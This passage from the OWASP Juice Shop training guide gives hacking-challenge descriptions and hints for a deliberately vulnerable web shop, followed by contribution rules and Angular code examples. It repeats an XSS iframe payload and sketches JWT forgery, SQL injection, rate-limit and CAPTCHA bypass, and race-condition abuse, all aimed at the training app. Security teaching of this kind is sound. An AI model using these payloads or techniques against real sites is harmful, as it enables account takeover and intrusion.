Adding more instances of the same product to someone else's basket does not qualify
as a solution. The same goes for stealing from someone else's basket.
This challenge requires a bit more sophisticated tampering than others of the same ilk.
Finding an administrative functionality in the web application that lets you change
product data
Looking for possible holes in the RESTful API that would allow you to update a
product
Attempting an SQL Injection attack that sneaks in an UPDATE statement on product
data
In practice two of these three ways should turn out to be dead ends
Using whatever you find inside the malware directly will not do you any good.
For this to count as an SSRF attack you need to make the Juice Shop server attack
itself.
Do not try to find the source code for the malware on GitHub. Take it apart with classic
reverse-engineering techniques instead.
130
Broken Access Control
In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality
on the server to read or update internal resources. The attacker can supply or a modify
a URL which the code running on the server will read or submit data to, and by carefully
selecting the URLs, the attacker may be able to read server configuration such as AWS
metadata, connect to internal services like http enabled databases or perform post
requests towards internal services which are not intended to be exposed. 3
Try out all existing functionality involving the shopping basket while having an eye on
the HTTP traffic.
There might be a client-side association of user to basket that you can try to manipulate.
In case you manage to update the database via SQL Injection so that a user is linked to
another shopping basket, the application will not notice this challenge as solved.
1. https://en.wikipedia.org/wiki/Privilege_escalation ↩
2. https://en.wikipedia.org/wiki/Easter_egg_(media) ↩
3. https://www.owasp.org/index.php/Server_Side_Request_Forgery ↩
131
Security Misconfiguration
Security Misconfiguration
Deprecated Use a deprecated B2B interface that was not properly shut
Interface down.
Error Provoke an error that is neither very gracefully nor
Handling consistently handled.
Login
Log in with the support team's original user credentials
Support
without applying SQL Injection or any other bypass.
Team
The old B2B interface was replaced with a more modern version recently.
When deprecating the old interface, not all of its parts were cleanly removed from the
code base.
Simply using the deprecated interface suffices to solve this challenge. No attack or
exploit is necessary.
132
Security Misconfiguration
If you see the success notification for this challenge but no error message on screen, the
error was probably logged on the JavaScript console of the browser. You were supposed to
have it open all the time anyway, remember?
The support team is located in some low-cost country and the team structure fluctuates
a lot due to people leaving for jobs with even just slightly better wages.
To prevent abuse the password for the support team account is very strong.
To allow easy access during an incident, the support team utilizes a 3rd party tool which
every support engineer can access to get the current account password from.
While it is also possible to use SQL Injection to log in as the support team, this will not
solve the challenge.
1. https://www.owasp.org/index.php/Top_10_2007-Information_Leakage ↩
133
Cross Site Scripting (XSS)
An attacker can use XSS to send a malicious script to an unsuspecting user. The end
user’s browser has no way to know that the script should not be trusted, and will
execute the script. Because it thinks the script came from a trusted source, the
malicious script can access any cookies, session tokens, or other sensitive information
retained by the browser and used with that site. These scripts can even rewrite the
content of the HTML page.1
134
Cross Site Scripting (XSS)
HTTP-
Perform a persisted XSS attack with <iframe
Header
src="javascript:alert(`xss`)"> through an HTTP header.
XSS
Reflected Perform a reflected XSS attack with <iframe
XSS src="javascript:alert(`xss`)"> .
135
Cross Site Scripting (XSS)
For the XSS Tier 3 challenge it is necessary to work with the server-side API directly. You
will need a command line tool like curl or a tool for HTTP request tampering to master this
challenge.
A matrix of known data entities and their supported HTTP verbs through the API can
help you here
Careless developers might have exposed API methods that the client does not even
need
Find a screen in the application that looks subtly odd and dated compared with all other
screens
What is even better than homegrown validation based on a RegEx? Homegrown
sanitization based on a RegEx!
Be aware that any JavaScript input validation performed on the client can be bypassed
by an attacker that disables JavaScript or uses a Web Proxy. Ensure that any input
validation performed on the client is also performed on the server.4
136
Cross Site Scripting (XSS)
There are only some input fields in the Juice Shop forms that validate their input.
Even less of these fields are persisted in a way where their content is shown on another
screen.
Bypassing client-side security can typically be done by
either disabling it on the client (i.e. in the browser by manipulating the DOM tree)
or by ignoring it completely and interacting with the backend instead.
The DOM, or Document Object Model, is the structural format used to represent
documents in a browser. The DOM enables dynamic scripts such as JavaScript to
reference components of the document such as a form field or a session cookie. The
DOM is also used by the browser for security - for example to limit scripts on different
domains from obtaining session cookies for other domains. A DOM-based XSS
vulnerability may occur when active content, such as a JavaScript function, is modified
by a specially crafted request such that a DOM element that can be controlled by an
attacker.3
This challenge is almost indistinguishable from Perform a reflected XSS attack if you do
not look "under the hood" to find out what the application actually does with the user
input
Finding a piece of information displayed in the UI that could originate from an HTTP
header
You might have to look into less common or even proprietary HTTP headers to find the
leverage point
Adding insult to injury, the HTTP header you need will never be sent by the application
on its own
137
Cross Site Scripting (XSS)
Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable
code within a single HTTP response. The injected attack is not stored within the
application itself; it is non-persistent and only impacts users who open a maliciously
crafted link or third-party web page. The attack string is included as part of the crafted
URI or HTTP parameters, improperly processed by the application, and returned to the
victim.2
Look for an input field where its content appears in the response when its form is
submitted.
Try probing for XSS vulnerabilities by submitting text wrapped in an HTML tag which is
easy to spot on screen, e.g. <h1> or <strike> .
When you actually understand a security mechanism you have a lot higher chance to beat or
trick it somehow, than by using a trial and error approach.
The Comment field in the Contact Us screen is where you want to put your focus on
The attack payload <iframe src="javascript:alert(`xss`)"> will not be rejected by any
validator but stripped from the comment before persisting it
Look for possible dependencies related to input processing in the package.json.bak
you harvested earlier
If an xss alert shows up but the challenge does not appear as solved on the Score
Board, you might not have managed to put the exact attack string <iframe
src="javascript:alert(`xss`)"> into the database?
138
Cross Site Scripting (XSS)
2.
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP
-DV-001) ↩
3. https://www.owasp.org/index.php/Testing_for_DOM-
based_Cross_site_scripting_(OTG-CLIENT-001) ↩
4.
https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet#Client_Side_vs_Serve
r_Side_Validation ↩
139
Insecure Deserialization
Insecure Deserialization
Serialization is the process of turning some object into a data format that can be
restored later. People often serialize objects in order to save them to storage, or to send
as part of communications. Deserialization is the reverse of that process -- taking data
structured from some format, and rebuilding it into an object. Today, the most popular
data format for serializing data is JSON. Before that, it was XML.
However, many programming languages offer a native capability for serializing objects.
These native formats usually offer more features than JSON or XML, including
customizability of the serialization process. Unfortunately, the features of these native
deserialization mechanisms can be repurposed for malicious effect when operating on
untrusted data. Attacks against deserializers have been found to allow denial-of-
service, access control, and remote code execution attacks.1
ℹ Please note that both RCE challenges described below are not available when running
the Juice Shop in either a Docker container or on a Heroku dyno! The deserialization
actually happens in a sandbox with a timeout, but with sufficient skills an attacker could
break out of the sandbox and actually harm the underlying system. While it is unfortunate to
not have RCE challenges on containerized environments, this illustrates how hard it is to
protect against deserialization attacks except for not using it at all.
140
Insecure Deserialization
Code Injection is the general term for attack types which consist of injecting code that is
then interpreted/executed by the application. This type of attack exploits poor handling
of untrusted data. These types of attacks are usually made possible due to a lack of
proper input/output data validation, for example:
Code Injection differs from Command Injection in that an attacker is only limited by the
functionality of the injected language itself. If an attacker is able to inject PHP code into
an application and have it executed, he is only limited by what PHP is capable of.
Command injection consists of leveraging existing code to execute commands, usually
within the context of a shell.2
The ability to trigger arbitrary code execution from one machine on another (especially
via a wide-area network such as the Internet) is often referred to as remote code
execution.3
The feature you need to exploit for this challenge is not directly advertised anywhere.
As the Juice Shop is written in pure Javascript, there is one data format that is most
probably used for serialization.
You should try to make the server busy for all eternity.
The challenge will be solved if you manage to trigger the protection of the application
against a very specific DoS attack vector.
Similar to the Let the server sleep for some time challenge (which accepted nothing but
NoSQL Injection as a solution) this challenge will only accept proper RCE as a solution.
It cannot be solved by simply hammering the server with requests. That would probably
just kill your server instance.
This challenge uses the same leverage point as Perform a Remote Code Execution that
would keep a less hardened application busy forever.
The application has a protection against too many iterations (i.e. infinite loops) which
your attack must not trigger in order to solve this challenge.
1
. https://www.owasp.org/index.php/Deserialization_Cheat_Sheet ↩
2
141
Insecure Deserialization
2. https://www.owasp.org/index.php/Code_Injection ↩
3. https://en.wikipedia.org/wiki/Arbitrary_code_execution ↩
4. https://en.wikipedia.org/wiki/Infinite_loop ↩
142
Vulnerable Components
Vulnerable Components
The challenges in this chapter are all about security issues of libraries or other 3rd party
components the application uses internally.
Arbitrary File
Overwrite the Legal Information file.
Write
Forge an almost properly RSA-signed JWT token that
Forged
impersonates the (non-existing) user rsa_lord@juice-
Signed JWT
sh.op.
Inform the shop about a typosquatting imposter that dug
Frontend
itself deep into the frontend. (Mention the exact name of
Typosquatting
the culprit)
Inform the shop about a typosquatting trick it has been a
Legacy
victim of at least in v6.2.0-SNAPSHOT . (Mention the exact
Typosquatting
name of the culprit)
Inform the development team about a danger to some of
Supply Chain
their credentials. (Send them the URL of the original
Attack
report or the CVE of this vulnerability)
Forge an essentially unsigned JWT token that
Unsigned
impersonates the (non-existing) user jwtn3d@juice-
JWT
sh.op.
Inform the shop about a vulnerable library it is using.
Vulnerable
(Mention the exact library name and version in your
Library
comment)
143
Vulnerable Components
Uploaded files represent a significant risk to applications. The first step in many attacks
is to get some code to the system to be attacked. Then the attack only needs to find a
way to get the code executed. Using a file upload helps the attacker accomplish the first
step.
The consequences of unrestricted file upload can vary, including complete system
takeover, an overloaded file system or database, forwarding attacks to back-end
systems, client-side attacks, or simple defacement. It depends on what the application
does with the uploaded file and especially where it is stored.
There are really two classes of problems here. The first is with the file metadata, like
the path and file name. These are generally provided by the transport, such as HTTP
multi-part encoding. This data may trick the application into overwriting a critical file or
storing the file in a bad location. You must validate the metadata extremely carefully
before using it.
The other class of problem is with the file size or content. The range of problems here
depends entirely on what the file is used for. See the examples below for some ideas
about how files might be misused. To protect against this type of attack, you should
analyse everything your application does with files and think carefully about what
processing and interpreters are involved.3
Find all places in the application where file uploads are possible.
For at least one of these, the Juice Shop is depending on a library that suffers from an
arbitrary file overwrite vulnerability.
You can find a hint toward the underlying vulnerability in the @owasp_juiceshop Twitter
timeline
The three generic hints from Forge an essentially unsigned JWT token also help with
this challenge.
Instead of enforcing no encryption to be applied, try to apply a more sophisticated
exploit against the JWT libraries used in the Juice Shop.
Getting your hands on the public RSA key the application employs for its JWTs is
mandatory for this challenge.
Finding the corresponding private key should actually be impossible, but that obviously
doesn't make this challenge unsolvable.
Make sure your JWT is URL safe!
144
Vulnerable Components
The typosquatter's URL will usually be one of four kinds, all similar to the victim site
address (e.g. example.com):
Once in the typosquatter's site, the user may also be tricked into thinking that they are
in fact in the real site, through the use of copied or similar logos, website layouts or
content. Spam emails sometimes make use of typosquatting URLs to trick users into
visiting malicious sites that look like a given bank's site, for instance.1
This challenge is about identifying and reporting (via the http://localhost:3000/#/contact form)
a case of typosquatting hidden in the Juice Shop. It is supposedly hard to locate.
145
Vulnerable Components
Just like its frontend companion this challenge also has nothing to do with URLs or
domains.
Investigating the forgotten developer's backup file might bring some insight.
Malicious packages in npm is a worthwhile read on Ivan Akulov’s blog.
ℹ Please note that having the OWASP Juice Shop installed on your computer does not put
you at any actual risk! This challenge does neither install a backdoor or Trojan nor does it
bring any other harmful code to your system!
The shop's end users are not the targets here. The developers of the shop are!
This is a research-heavy challenge which does not involve any actual hacking.
Solving Access a developer's forgotten backup file before attempting this challenge will
save you from a lot of frustration.
This challenge involves forging a valid JWT for a user that does not exist in the database but
make the application believe it is still legit.
You should begin with retrieving a valid JWT from the application's Authorization
request header.
A JWT is only given to users who have logged in. They have a limited validity, so better
do not dawdle.
Try to convince the site to give you a valid token with the required payload while
downgrading to no encryption at all.
146
Vulnerable Components
Use the Contact Us form to submit a feedback mentioning the vulnerable library
including its exact version.
Look for possible dependencies related to security in the package.json.bak you
probably harvested earlier during the Access a developer's forgotten backup file
challenge.
Do some research on the internet for known security issues in the most suspicious
application dependencies.
1. https://en.wikipedia.org/wiki/Typosquatting ↩
2. https://tools.ietf.org/html/rfc7519 ↩
3. https://www.owasp.org/index.php/Unrestricted_File_Upload ↩
4. https://www.rsa.com/en-us/blog/2017-02/are-software-supply-chain-attacks-the-new-
norm ↩
147
Security through Obscurity
148
Security through Obscurity
ICOs provide a means by which startups avoid costs of regulatory compliance and
intermediaries, such as venture capitalists, bank and stock exchanges, while increasing
risk for investors. ICOs may fall outside existing regulations or may need to be
regulated depending on the nature of the project, or are banned altogether in some
jurisdictions, such as China and South Korea.
[...] The term may be analogous with "token sale" or crowdsale, which refers to a
method of selling participation in an economy, giving investors access to the features of
a particular project starting at a later date. ICOs may sell a right of ownership or
royalties to a project, in contrast to an initial public offering which sells a share in the
ownership of the company itself.2
Guessing or brute forcing the URL of the token sale page is very unlikely to succeed.
You should closely investigate the place where all paths within the application are
defined.
Beating the employed obfuscation mechanism manually will take some time. Maybe
there is an easier way to undo it?
149
Security through Obscurity
The first recorded use of the term was in 1499 by Johannes Trithemius in his
Steganographia, a treatise on cryptography and steganography, disguised as a book on
magic. Generally, the hidden messages appear to be (or to be part of) something else:
images, articles, shopping lists, or some other cover text. For example, the hidden
message may be in invisible ink between the visible lines of a private letter. Some
implementations of steganography that lack a shared secret are forms of security
through obscurity, and key-dependent steganographic schemes adhere to Kerckhoffs's
principle.
The advantage of steganography over cryptography alone is that the intended secret
message does not attract attention to itself as an object of scrutiny. Plainly visible
encrypted messages, no matter how unbreakable they are, arouse interest and may in
themselves be incriminating in countries in which encryption is illegal.
There is not the slightest chance that you can spot the hidden character with the naked
eye.
The effective difficulty of this challenge depends a lot on what tools you pick to tackle it.
This challenge cannot be solved by just reading our "Lorem Ipsum"-texts carefully.
1. https://en.wikipedia.org/wiki/Security_through_obscurity ↩
2. https://en.wikipedia.org/wiki/Initial_coin_offering ↩
3. https://en.wikipedia.org/wiki/Steganography ↩
150
Unvalidated Redirects
Unvalidated Redirects
When removing references to those addresses from the code the developers have been
a bit sloppy.
More particular, they have been sloppy in a way that even the Angular Compiler was not
able to clean up after them automatically.
It is of course not sufficient to just visit any of the crypto currency links directly to solve
the challenge.
You can find several places where redirects happen in the OWASP Juice Shop
The application will only allow you to redirect to whitelisted URLs
Tampering with the redirect mechanism might give you some valuable information about
how it works under to hood
White list validation involves defining exactly what is authorized, and by definition,
everything else is not authorized.1
1.
https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet#White_List_Input_Vali
dation ↩
151
Unvalidated Redirects
152
Broken Anti-Automation
Broken Anti-Automation
Web applications are subjected to unwanted automated usage – day in, day out. Often
these events relate to misuse of inherent valid functionality, rather than the attempted
exploitation of unmitigated vulnerabilities. Also, excessive misuse is commonly
mistakenly reported as application denial-of-service (DoS) like HTTP-flooding, when in
fact the DoS is a side-effect instead of the primary intent. Frequently these have sector-
specific names. Most of these problems seen regularly by web application owners are
not listed in any OWASP Top Ten or other top issue list. Furthermore, they are not
enumerated or defined adequately in existing dictionaries. These factors have
contributed to inadequate visibility, and an inconsistency in naming such threats, with a
consequent lack of clarity in attempts to address the issues. 1
153
Broken Anti-Automation
A completely automated public Turing test to tell computers and humans apart, or
CAPTCHA, is a program that allows you to distinguish between humans and
computers. First widely used by Alta Vista to prevent automated search submissions,
CAPTCHAs are particularly effective in stopping any kind of automated abuse, including
brute-force attacks. They work by presenting some test that is easy for humans to pass
but difficult for computers to pass; therefore, they can conclude with some certainty
whether there is a human on the other end.
For a CAPTCHA to be effective, humans must be able to answer the test correctly as
close to 100 percent of the time as possible. Computers must fail as close to 100
percent of the time as possible.2
You could prepare 10 browser tabs, solving every CAPTCHA and filling out the each
feedback form. Then you'd need to very quickly switch through the tabs and submit the
forms in under 10 seconds total.
Should the Juice Shop ever decide to change the challenge into "Submit 100 or more
customer feedbacks within 60 seconds" or worse, you'd probably have a hard time
keeping up with any tab-switching approach.
Investigate closely how the CAPTCHA mechanism works and try to find either a bypass
or some automated way of solving it dynamically.
Wrap this into a script (in whatever programming language you prefer) that repeats this
10 times.
Following this requirement OWASP sets for all its projects, the Juice Shop's user interface is
available in different languages. One extra language is actually available that you will not
find in the selection menu.
154
Broken Anti-Automation
First you should find out how the languages are technically changed in the user
interface.
Guessing will most definitely not work in this challenge.
You should rather choose between the following two ways to beat this challenge:
Apply brute force (and don't give up to quickly) to find it.
Investigate online what languages are actually available.
A brute force attack can manifest itself in many different ways, but primarily consists in
an attacker configuring predetermined values, making requests to a server using those
values, and then analyzing the response. For the sake of efficiency, an attacker may
use a dictionary attack (with or without mutations) or a traditional brute-force attack
(with given classes of characters e.g.: alphanumerical, special, case (in)sensitive).
Considering a given method, number of tries, efficiency of the system which conducts
the attack, and estimated efficiency of the system which is attacked the attacker is able
to calculate approximately how long it will take to submit all chosen predetermined
values.4
Every user is (almost) immediately associated with the review they "liked" to prevent
abuse of that functionality
Did you really think clicking the "like" button three times in a row really fast would be
enough to solve a challenge?
The underlying flaw of this challenge is a Race Condition
155
Broken Anti-Automation
Many software race conditions have associated computer security implications. A race
condition allows an attacker with access to a shared resource to cause other actors that
utilize that resource to malfunction, resulting in effects including denial of service and
privilege escalation.
A specific kind of race condition involves checking for a predicate (e.g. for
authentication), then acting on the predicate, while the state can change between the
time of check and the time of use. When this kind of bug exists in security-sensitive
code, a security vulnerability called a time-of-check-to-time-of-use (TOCTTOU) bug is
created.6
Finding out who Morty actually is, will help to reduce the solution space.
You can assume that Morty answered his security question truthfully but employed
some obfuscation to make it more secure.
Morty's answer is less than 10 characters long and does not include any special
characters.
Unfortunately, Forgot your password? is protected by a rate limiting mechanism that
prevents brute forcing. You need to beat this somehow.
1.
https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications
↩
2.
https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks#Sidebar:_Using_CAP
TCHAS ↩
3.
https://www.owasp.org/index.php/OWASP_2014_Project_Handbook#tab=Project_Requ
irements ↩
4
. https://www.owasp.org/index.php/Brute_force_attack ↩
5
. https://en.wikipedia.org/wiki/Race_condition ↩
6
. https://en.wikipedia.org/wiki/Race_condition#Computer_security ↩
156
Broken Anti-Automation
157
Cryptographic Issues
Cryptographic Issues
One viable solution would be to reverse-engineer how coupon codes are generated and
craft your own 80% coupon by using the same (or at least similar) implementation.
Another possible solution might be harvesting as many previous coupon as possible
and look for patterns that might give you a leverage for a brute force attack.
If all else fails, you could still try to blindly brute force the coupon code field before
checkout.
158
Cryptographic Issues
In order to not mess with the real challenges accidentally, the challenge is to fake a signal to
the application that you successfully solved challenge #999 - which does not exist.
Find out how saving and restoring progress is done behind the scenes
Deduce from all available information (e.g. the package.json.bak ) how the application
encrypts and decrypts your hacking progress.
Other than the user's passwords, the hacking progress involves an additional secret
during its encryption.
What would be a really stupid mistake a developer might make when choosing such a
secret?
Make sure you solve Find the hidden easter egg first.
You might have to peel through several layers of tough-as-nails encryption for this
challenge.
This hacking challenge represents the latter kind of "premium" feature. It only exists to rip
you hackers off! Of course you should never tolerate such a business policy, let alone
support it with your precious Bitcoins!
That is why the actual challenge here is to unlock and solve the "premium" challenge
bypassing the paywall in front of it.
159
Cryptographic Issues
Side note: The Bitcoin address behind the taunting Unlock button is actually a valid
address of the author. So, if you'd like to donate a small amount for the ongoing
maintenance and development of OWASP Juice Shop - feel free to actually use it! More
on donations in part 3 of this book.
Initially confined to the realms of academia and the military, cryptography has become
ubiquitous thanks to the Internet. Common every day uses of cryptography include
mobile phones, passwords, SSL, smart cards, and DVDs. Cryptography has permeated
everyday life, and is heavily used by many web applications.
Cryptography (or crypto) is one of the more advanced topics of information security, and
one whose understanding requires the most schooling and experience. It is difficult to
get right because there are many approaches to encryption, each with advantages and
disadvantages that need to be thoroughly understood by web solution architects and
developers. In addition, serious cryptography research is typically based in advanced
mathematics and number theory, providing a serious barrier to entry.
Use the Contact Us form to submit a feedback mentioning the abused algorithm or
library.
160
Cryptographic Issues
There are five possible answers and you only need to identify one to solve the
challenge.
Cryptographic functions only used in the Apply some advanced cryptanalysis to find the
real easter egg challenge do not count as they are only a developer's prank and not a
serious security problem.
1. https://www.owasp.org/index.php/Guide_to_Cryptography ↩
161
Miscellaneous
Miscellaneous
Privacy
Read our privacy policy.
Policy
Score Board Find the carefully hidden 'Score Board' page.
Security Behave like any "white hat" should before getting into the
Policy action.
The exact contents of a certain privacy policy will depend upon the applicable law and
may need to address requirements across geographical boundaries and legal
jurisdictions. Most countries have their own legislation and guidelines of who is
covered, what information can be collected, and what it can be used for. In general,
data protection laws in Europe cover the private sector as well as the public sector.
Their privacy laws apply not only to government operations but also to private
enterprises and commercial transactions.1
When you work with the application you will most likely solve this challenge in the
process
Any automated crawling or spidering tool you use might solve this challenge for you
There is no real hacking involved here
162
Miscellaneous
Behave like any "white hat" should before getting into the
action
The term "white hat" in Internet slang refers to an ethical computer hacker, or a
computer security expert, who specializes in penetration testing and in other testing
methodologies to ensure the security of an organization's information systems. Ethical
hacking is a term meant to imply a broader category than just penetration testing.
Contrasted with black hat, a malicious hacker, the name comes from Western films,
where heroic and antagonistic cowboys might traditionally wear a white and a black hat
respectively.2
2. https://en.wikipedia.org/wiki/White_hat_(computer_security) ↩
163
Getting involved
Twitter https://twitter.com/owasp_juiceshop
Facebook https://www.facebook.com/owasp.juiceshop
Youtube https://www.youtube.com/playlist?
Playlist list=PLV9O4rIovHhO1y8_78GZfMbH6oznyx2g2
164
Provide feedback
Provide feedback
Did you experience a functional bug when hacking the application?
Did the app server crash after you sent some malformed HTTP request?
Were you sure to have solved a challenge but it did not light up on the score board?
Do you think you found an accidental vulnerability that could be included and tracked on
the score board?
Do you disagree with the difficulty rating for some of the challenges?
Did you spot a misbehaving UI component or broken image?
Did you enjoy a conference talk, podcast or video about OWASP Juice Shop that is
missing in our references compilation on GitHub?
In all the above (as well as other similar) cases, please reach out to the OWASP Juice Shop
team, project leader or community!
Feedback Channels
Channel Link
OWASP Slack Channel https://owasp.slack.com/messages/project-juiceshop
Gitter Chat https://gitter.im/bkimminich/juice-shop
Reddit https://www.reddit.com/r/owasp_juiceshop
https://groups.google.com/a/owasp.org/forum/#!forum/juice-
Google Groups Forum
shop-project
165
Contribute to development
Contribute to development
If you would like to contribute to OWASP Juice Shop but need some idea what task to
address, the best place to look is in the GitHub issue lists at
https://github.com/bkimminich/juice-shop/issues.
Issues labelled with help wanted indicate tasks where the project team would very
much appreciate help from the community
Issues labelled with good first issue indicate tasks that are isolated and not too hard to
implement, so they are well-suited for new contributors
The following sections describe in detail the most important rules and processes when
contributing to the OWASP Juice Shop project.
Version control
The project uses git as its version control system and GitHub as the central server and
collaboration platform. OWASP Juice Shop resides in the following repository:
https://github.com/bkimminich/juice-shop
Branching model
OWASP Juice Shop is maintained in a simplified Gitflow fashion, where all active
development happens on the develop branch while master is used to deploy stable
versions to the Heroku demo instance and later create tagged releases from.
Feature branches are only used for long-term tasks that could jeopardize regular releases
from develop in the meantime. Likewise prototypes and experiments must be developed on
an individual branch or a distinct fork of the entire project.
166
Contribute to development
Versioning
Any release from master is tagged with a unique version in the format vMAJOR.MINOR.PATCH ,
for example v1.3.0 or v4.1.2 .
The current version of the project (omitting the leading v ) must be manually maintained in
the following three places:
All other occurrences of the version (i.e. packaged releases & the menu bar of the
application itself) are resolved through the "version" property of /package.json
automatically.
Pull requests
Using Git-Flow means that PRs have the highest chance of getting accepted and merged
when you open them on the develop branch of your fork. That allows for some post-merge
changes by the team without directly compromising the master branch, which is supposed
to hold always be in a release-ready state.
It is usually not a big deal if you accidentally open a PR for the master branch. GitHub
added the possibility to change the target branch for a PR afterwards some time ago.
Contribution guidelines
The minimum requirements for code contributions are:
1. The code must be compliant with the JS Standard Code Style rules or their
correspondingly configured TSLint and Sass Lint rules.
2. All new and changed code should have a corresponding unit and/or integration test.
3. New and changed challenges must have a corresponding e2e test.
4. Linting, as well as all unit, integration and e2e tests should pass locally before opening
a Pull Request.
167
Contribute to development
Linting
If PRs deviate from this coding style, they will the build and will not be merged until made
compliant.
In case your PR is failing from style guide issues try running npm run lint:fix over your
code - this will fix all syntax or code style issues automatically without breaking your code.
Testing
Pull Requests are verified to pass all of the following test stages during the continuous
integration build. It is recommended that you run these tests on your local computer to verify
they pass before submitting a PR. New features should be accompanied by an appropriate
number of corresponding tests to verify they behave as intended.
Unit tests
There is a full suite containing isolated unit tests
npm test
Integration tests
168
Contribute to development
The integration tests in test/api/*Spec.js verify if the backend for all normal use cases of
the application works. All server-side vulnerabilities are also tested.
These tests automatically start a server and run the tests against it. A working internet
connection is recommended.
End-to-end tests
The e2e test suite in test/e2e/*Spec.js verifies if all client- and server-side vulnerabilities
are exploitable. It passes only when all challenges are solvable on the score board.
The end-to-end tests require a locally installed Google Chrome browser and internet access
to be able to pass.
If you have a web proxy configured via HTTP_PROXY environment variable, the end-to-end
tests will honor this setting. This can be useful to e.g. run the tests through tools like OWASP
ZAP or Burpsuite.
Then take the created archive from /dist and follow the steps described above in
Packaged Distributions to make sure nothing is broken or missing.
https://travis-ci.org/bkimminich/juice-shop
169
Contribute to development
On every push to GitHub, a build is triggered on Travis-CI. A build consists of several stages
in which one or more jobs are executed. Not only direct pushes to the master and develop
branches are built, but Pull Requests from other branches or forks as well. This helps the
project team to assess if a PR can be safely merged into the codebase. For tag-builds (i.e.
versions to be released) the some additional steps are necessary to package the release-
artifacts for Linux, MacOS and Windows for each supported Node.js version and attach
these to the release page on GitHub. Lastly, not all stages are executed for all supported
Node.js versions in order to shorten the feedback loop. The higher-level integration and e2e
tests are only run for the officially preferred Node.js version 12.x.
➡Stage
Lint Test Integration E2e Deploy
Trigger⬇
Integration
tests and
re-run Unit
tests on End-to-
Linting Unit tests Node.js end
on on Node.js 12.x and tests Deploy Node.js 12.x to
Node.js 10.x and publish on Heroku
12.x 12.x combined Node.js
coverage 12.x
data to
Code
Climate
Push to ✔ to http://juice-shop-
✔ ✔ ✔ ✔
develop staging.herokuapp.com
Push to ✔ to http://juice-
✔ ✔ ✔ ✔
master shop.herokuapp.com
Pull
✔ ✔ ✔ ✔
Request
instead
compile
and release
pre-
packaged
Version distributions
tag for Linux
with
Node.js
10.x and
12.x to
GitHub
ℹ The stages in the table above are executed sequentially from left to right. A failing job in
any stage will break the build and all following stages will not be executed allowing a faster
feedback loop. The table only depicts the setup for Linux, as this is where all tests are
170
Contribute to development
executed. In the MacOS and Windows jobs only npm install is executed and release-
artifacts are assembled in tag-builds.
1. http://semver.org ↩
171
Codebase 101
Codebase 101
Jumping head first into any foreign codebase can cause a little headache. This section is
there to help you find your way through the code of OWASP Juice Shop. On its top level the
Juice Shop codebase is mainly separated into a client and a server tier, the latter with an
underlying lightweight database and file system as storage.
Client Tier
OWASP Juice Shop uses the popular Angular framework as the core of its client-side.
Thanks to Angular Material - an Angular-specific implementation of Google's Material Design
- the UI looks nicely familiar and is easy to use. It is also built to be responsive with the help
of Angular Flex-Layout, letting it adapt nicely to different screen sizes. The various icons
used throughout the frontend are from the vast Font Awesome 5 collection.
ℹ Please note that all client-side code is written in Typescript which is compiled into
regular JavaScript during the build process.
Services
Service is a broad category encompassing any value, function, or feature that an app
needs. A service is typically a class with a narrow, well-defined purpose. It should do
something specific and do it well.
172
Codebase 101
Service functions must always use Angular's own HttpClient to make any backend calls.
173
Codebase 101
The following code snippet shows how all services in the OWASP Juice Shop client are
structured using the example of FeedbackService . It wraps the /api/Feedback API which
offers a GET , POST and DELETE endpoint to find, create and delete Feedback of users:
@Injectable({
providedIn: 'root'
})
export class FeedbackService {
save (params) {
return this.http.post(this.host + '/', params).pipe(map((response: any) =>
response.data), catchError((err) => { throw err }))
}
del (id) {
return this.http.delete(this.host + '/' + id).pipe(map((response: any) =>
response.data), catchError((err) => { throw err }))
}
}
Unit tests for all services can be found next to their *.service.ts files in the
Components
174
Codebase 101
[...]
The Angular components reside inside frontend/src/app as a subfolder for each individual
component. Each component is responsible for one screen portion of the application. It
consists of the component itself ( *.component.ts ) and the HTML Template
( *.component.html ) along with its styles ( *.component.scss ).
175
Codebase 101
Components must always go through one or more Services when communicating with the
application backend.
The code snippet below shows the ContactComponent which handles the Contact Us screen
and uses three different services to fulfill its tasks:
176
Codebase 101
UserService to retrieve data about the currently logged in user (if applicable) via the
whoAmi() function
CaptchaService to retrieve a new CAPTCHA for the user to solve via the getCaptcha()
function
FeedbackService to eventually save() the user feedback
☝ As a universal rule for the entire Juice Shop codebase, unnecessary code duplication as
well as deeply nested -code should be avoided by using well-named & small helper
functions. This is demonstrated by the very simple getNewCaptcha() and resetForm()
functions in the code snippet below. Helper functions should always be located as close to
the calling code as possible.
library.add(faStar, faPaperPlane)
dom.watch()
@Component({
selector: 'app-contact',
templateUrl: './contact.component.html',
styleUrls: ['./contact.component.scss']
})
export class ContactComponent implements OnInit {
constructor (
private userService: UserService,
private captchaService: CaptchaService,
private feedbackService: FeedbackService) { }
ngOnInit () {
177
Codebase 101
getNewCaptcha () {
this.captchaService.getCaptcha().subscribe((data: any) => {
this.captcha = data.captcha
this.captchaId = data.captchaId
}, (err) => err)
}
save () {
this.feedback.captchaId = this.captchaId
this.feedback.captcha = this.captchaControl.value
this.feedback.comment = this.feedbackControl.value
this.feedback.rating = this.rating
this.feedback.UserId = this.userIdControl.value
this.feedbackService.save(this.feedback).subscribe((savedFeedback) => {
this.error = null
this.confirmation = 'Thank you for your feedback' +
(savedFeedback.rating === 5 ? ' and your 5-star rating!' : '.')
this.feedback = {}
this.ngOnInit()
this.resetForm()
}, (error) => {
this.error = error.error
this.confirmation = null
this.feedback = {}
this.resetForm()
})
}
resetForm () {
this.authorControl.markAsUntouched()
this.authorControl.markAsPristine()
this.authorControl.setValue('')
this.feedbackControl.markAsUntouched()
this.feedbackControl.markAsPristine()
this.feedbackControl.setValue('')
this.captchaControl.markAsUntouched()
this.captchaControl.markAsPristine()
this.captchaControl.setValue('')
}
178
Codebase 101
Unit tests for all components can be found in their subfolders within frontend/src/app/ as
*.component.spec.ts files. They are Jasmine 2 specifications which are executed by the
Templates
The Angular application manages what the user sees and can do, achieving this
through the interaction of a component class instance (the component) and its user-
facing template.
You may be familiar with the component/template duality from your experience with
model-view-controller (MVC) or model-view-viewmodel (MVVM). In Angular, the
component plays the part of the controller/viewmodel, and the template represents the
view.3
Each screen within the application is defined in a HTML view template along with its
Component in the subfolders beneath frontend/src/app/ . The views are written as HTML
using Angular Material for styling and Angular Flex-Layout for responsiveness. Furthermore
most views incorporate icons from the Font Awesome 5 collection.
